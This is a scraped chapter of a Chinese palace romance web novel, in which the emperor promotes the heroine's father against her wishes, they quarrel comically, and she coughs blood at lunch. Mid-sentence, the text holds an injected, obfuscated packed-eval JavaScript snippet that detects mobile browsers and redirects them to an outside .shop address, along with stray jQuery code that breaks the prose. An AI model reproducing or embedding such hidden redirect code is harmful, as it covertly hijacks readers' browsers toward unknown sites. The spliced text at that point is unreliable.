文趣网 > 其他小说 > 陛下,这章您读档了吗? > 32. 参鸡汤
    该说的全部都说完了,萧临渊就让两人先行回去了,他看着新可汗和昭宁并肩离开的背影,心思莫名堵得不得了。

    虽说心里不舒服,但是他该给昭宁的特权也一样没少。先是把她的禁闭给解了,再者就是允许她随意进出宫门。

    但天黑之前就要回来,在外面呆的时间不能太久,外出都需要有人跟着,提防着那个糙汉子会做出来什么出格的事情。

    条条框框罗列了一大堆,俨然一副严厉哥哥的样子。

    面对他提出的条件,昭宁全权接受了,并且执行的特别好,每次出门的时候穿着打扮跟寻常人家的小姐并无差别,可以隐藏自己的身份。

    那糙汉子见了后,下午就也把自己精心准备的衣服给换了,两人现在走在街上完全就是普通老百姓。

    昭宁自小在宫里长大的,外面的任何新奇事情都会引起她的注意力,经常时间都过去了很久,他们还站在原地没动。

    新可汗自小在草原上长大,自由散漫惯了,正好能带着昭宁四处游玩,跟她解释眼前的东西是什么,两人相处的倒是愉快。

    “这几日昭宁脸上的笑容都多了不少,看来宫外的新鲜事物倒还是合她心意。”

    昭宁最近的变化自然没能逃得掉这个摄像头哥哥的眼睛,他看着倒是也挺开心的,搞得他也想去宫外看看。

    温镜辞淡定翻书,语气平淡反驳:“难道不是新可汗很有趣?”

    “……你非要提他吗?”

    温镜辞瞟了一眼萧临渊脸色不太好的表情,一种看别人笑话幸灾乐祸的心态马上就要憋不住了。

    “想笑就笑。”萧临渊提示道。

    温镜辞立马出声否定,眼睛还粘在书上一动没动:嘴上毫不客气:“没想笑啊,这有什么可笑的,我不笑。”

    温镜辞说的倒像是那回事儿,像是自己根本就不在乎这件事一样,但她最爱偷偷观察萧临渊听到关于昭宁的事情时的反应。

    无论是面上的毫不在意,还是呼之欲出的烦躁,都让温镜辞像是发现新大陆一样有意思。

    除了昭宁这件事情之外,萧临渊有意想要提拔温镜辞的父亲往更高的官位上走。

    但温镜辞在知道之后就立马拒绝掉了。

    “我爹年龄那么大了,而且也当了好几十年的知府,附近的住户周围的邻居都是知根知底的。相较于往上爬,他或许更喜欢带着原地守好他那一亩三分地。”

    而且严格意义上来讲,知府这个官职也已经不低了,能靠着自己做到这里已经不错了。

    温镜辞说完之后萧临渊点了点头,似乎觉得对方说的也确实在理。见他点头了,温镜辞觉得对方应该是赞同她的话的,也转身去做自己的事情。

    但没想到萧临渊根本就没打算听她的,告诉她这个事情也只是知会一声而已。

    等到温镜辞知道了之后,他爹已经从知府变成了刺史。

    人都已经到了新的地方,举家搬迁。

    “你有病啊,我说的话你是一个字儿都没听。”温镜辞找到萧临渊跨进门张口就是骂人,话说到一半儿才发现面前还站着一个人。

    她身体迅速僵直了,那句“时间回溯”含在嘴里即将脱口而出时,面前那人正好转过身,将他的脸露了出来。

    看到那张和自己极其相似的脸,温镜辞才瞬间放松下来。

    “父亲。”

    “参见温常在。”温父说着就要下跪行礼,温镜辞连忙扶着他的手臂,制止他行礼的举动。

    按道理来讲,温镜辞已经是皇帝的妃子了,见到她之后确实要行礼,但温镜辞不想。

    “不要行礼。”温镜辞重复了一遍,看向温父的眼神中异常坚定。

    “温常在火急火燎的找朕,所为何事?”萧临渊从始至终端端正正的坐在椅子上没动,看着眼前的两人短暂的叙旧。

    等到两人彻底叙旧完后,他才出声询问。

    温镜辞转身看向萧临渊波澜不惊的表情,似乎是真的不知道我来找他到底是为了什么事。

    温镜辞看了眼旁边的温父,蹙眉恶狠狠瞪了他一眼,一副让他等着一会儿被收拾死的表情。

    萧临渊脸色僵了僵,嘴角抽了抽,似乎已经预料到了自己的结局。

    “臣妾前来,是因为…因为…因为得知臣妾的父亲在,所以急忙前来,想要见一面。”

    一番话说的似乎也挺正常的,但搭配着她刚进门喊的那句话,就显得不太正常了。

    末了,温镜辞和温父出了养心殿的门,眼看着时间也不早了,两人只能短暂的说一会儿话。

    “家里最近还好吗?”

    “话本子让人送过去了。”

    两人的话齐齐响起,温镜辞听到后略显尴尬,这件事一直都是她哥派人偷偷给她置办了,其他人应该不知道才对的。

    说不准是他哥那边走漏了风声,搞得现在温父也知道了,这让她还怎么在温父面前做那个乖巧的孩子,这不就露馅儿了吗。

    “在宫里怎么样啊?还适应吗?”温父背对着阳光站在温镜辞面前,午后的阳光降低了眼睛刺痛的概率,只柔和的将人整个笼罩起来。

    温镜辞眯着眼险些看不清楚温父的身形,只含糊不清的回答道。

    “适应的,家里怎么样?身体还好吧?”

    温父点头:“好得很,不用记挂我们。”

    “嗯。”

    “身上银子还够吗?不够的话——”温父说着就开始掏兜,俨然过年给小孩儿压岁钱的样子。

    温镜辞一把按住。

    “有的,自己有。”

    两人又聊了一会儿,眼看着就到时间了,即使再不舍得,也到了分别的时刻。

    “留青的事情我都知道了,常在深宫行走,谁都有难言之隐,不要太难过。”

    温镜辞摇了摇头。

    “照顾好自己,在皇上面前加点小心,该走了。”温父叮嘱完后,最后看了她一眼,便转头走了。

    温镜辞站在不远处看着温父越走越远,背影一如年幼时丝毫没变,只是能感觉到的年岁明显上涨所导致的一系列附加效应。

    直到彻底看不到人影后,温镜辞才收回视线转身回到养心殿。

    “你有病啊,我说的话你是一个字儿都没听!”

    又是同样的一句话。

    这次养心殿就只有萧临渊一个人,听到温镜辞气恼的声音,他抬起头看了眼窗外,没有回答她的问题。

    “把你爹送走了?”

    “你别转移话题,我是不是跟你说过了,知府就可以了,你非得给他升刺史干什么?年龄这么大了,做点清闲的工作不行吗?”

    萧临渊即使被骂了表情也依旧没变,只是从一脸淡然变成了一脸委屈,还是被冤枉的委屈。

    “我问过了啊,你爹说可以的啊。”

    萧临渊这语气说的好像自己有了证据一样理直气壮,但温

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618930|206026||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    镜辞听完后只觉得气恼。

    再一次的怀疑对方的智商是否已经达标了,她总觉得没有。

    温镜辞深吸了口气,强压住想要在养心殿打他的冲动。

    “你一个皇帝,去问你手下的大臣,要不要晋升,你觉得他会回答什么?嗯?脑子有病是不是?要不要找个太医给你做个开颅手术,直接正大光明的死掉好不好?”

    “那你哥哥立军功了啊,而且还有山那回事儿,反正总而言之,简单来讲,晋升很正常的好吗?我是皇帝还是你是皇帝?别踩在这个世界的主人头上好吗这位名不见经传的小小常在。”

    温镜辞不爽的看萧临渊伸出大拇指和食指表示出来那个叠字。

    想打人。

    温镜辞呼了口气强撑。

    算了忍一下。

    忍不了了!

    “养心殿啊,会有大臣来的,警告你不要做一些不合宫规的事情,届时我这个皇帝定不会饶恕你。”

    温镜辞心想:“说的倒像是那回事儿,看我打不死你。”

    “欸!奏折很贵的啊,按照你每个月拿到的那仨瓜俩枣的,不得把你赔到以后都光着脚。”

    “你试试。”

    温镜辞拎着衣服就冲了上去,兴许是萧临渊的话起了作用,她倒是还真的没有动奏折。

    “别拿那个,那个很脏的啊。”

    萧临渊跑的老远,指着不远处的温镜辞手里的东西,试图制止对方的动作。温镜辞伸手将上面放着的鸡毛掸子拿下来,冲他的方向挥了挥。

    “我的衣服可是很名贵的好吗?”

    “受死吧你!”

    温镜辞举着鸡毛掸子就朝着他的方向跑去,两人在养心殿里追逐打闹,时不时传来萧临渊被打后的叫声。

    事情发展到最后也完全没办法了,人都已经举家搬迁了,圣旨也发下去了,事情已经板上钉钉了。

    温镜辞一连几天都没有给萧临渊好脸色,对方也知道自己做错了,只能蔫巴巴的尽量少惹她,省的再挨打。

    午膳的时候,浮光将所有餐食全部都端出来,其中还有一份看起来就不错的参鸡汤,油汪汪的,刚端出来整个房间全部都是味道。

    但是只有一小碗,数量不多。

    “鸡汤是御膳房特意准备做的,每个宫的小主都有份。”

    温镜辞理所应当的端到她面前。

    “那么这一份就理应是我这个常在的了,那我就不客气了。”

    萧临渊翻了个白眼没理她,恰好这个白眼正好被温镜辞本人看到,她一下就怒了。

    “你冲我翻白眼!”

    “少污蔑我。”萧临渊随口反驳了句,随后端起碗开始低头吃饭,避免跟她有过多的视线结束。

    “你就是冲我翻白眼了。”

    “美瞳划片了。”

    “你放屁!”

    温镜辞嘴里叽里咕噜的说了些什么,语速很快,萧临渊几乎要听不清楚,但非常明确的知道她在骂自己。

    但他完全不接腔,让话题到这里就断掉挺好的。

    ‘砰!’

    萧临渊正想着,对面突然传来碗筷掉落的声音,他抬头看去,却突然愣住。

    温镜辞张了张嘴想说些什么,声音却突然顿住,毫无预兆的一道暗红色的血从嘴角迅速溢出来,顺着下颌往下淌,染红了身上的衣衫。

    喉头被血堵住,她张开嘴无声的动了动,却是什么都说不出来。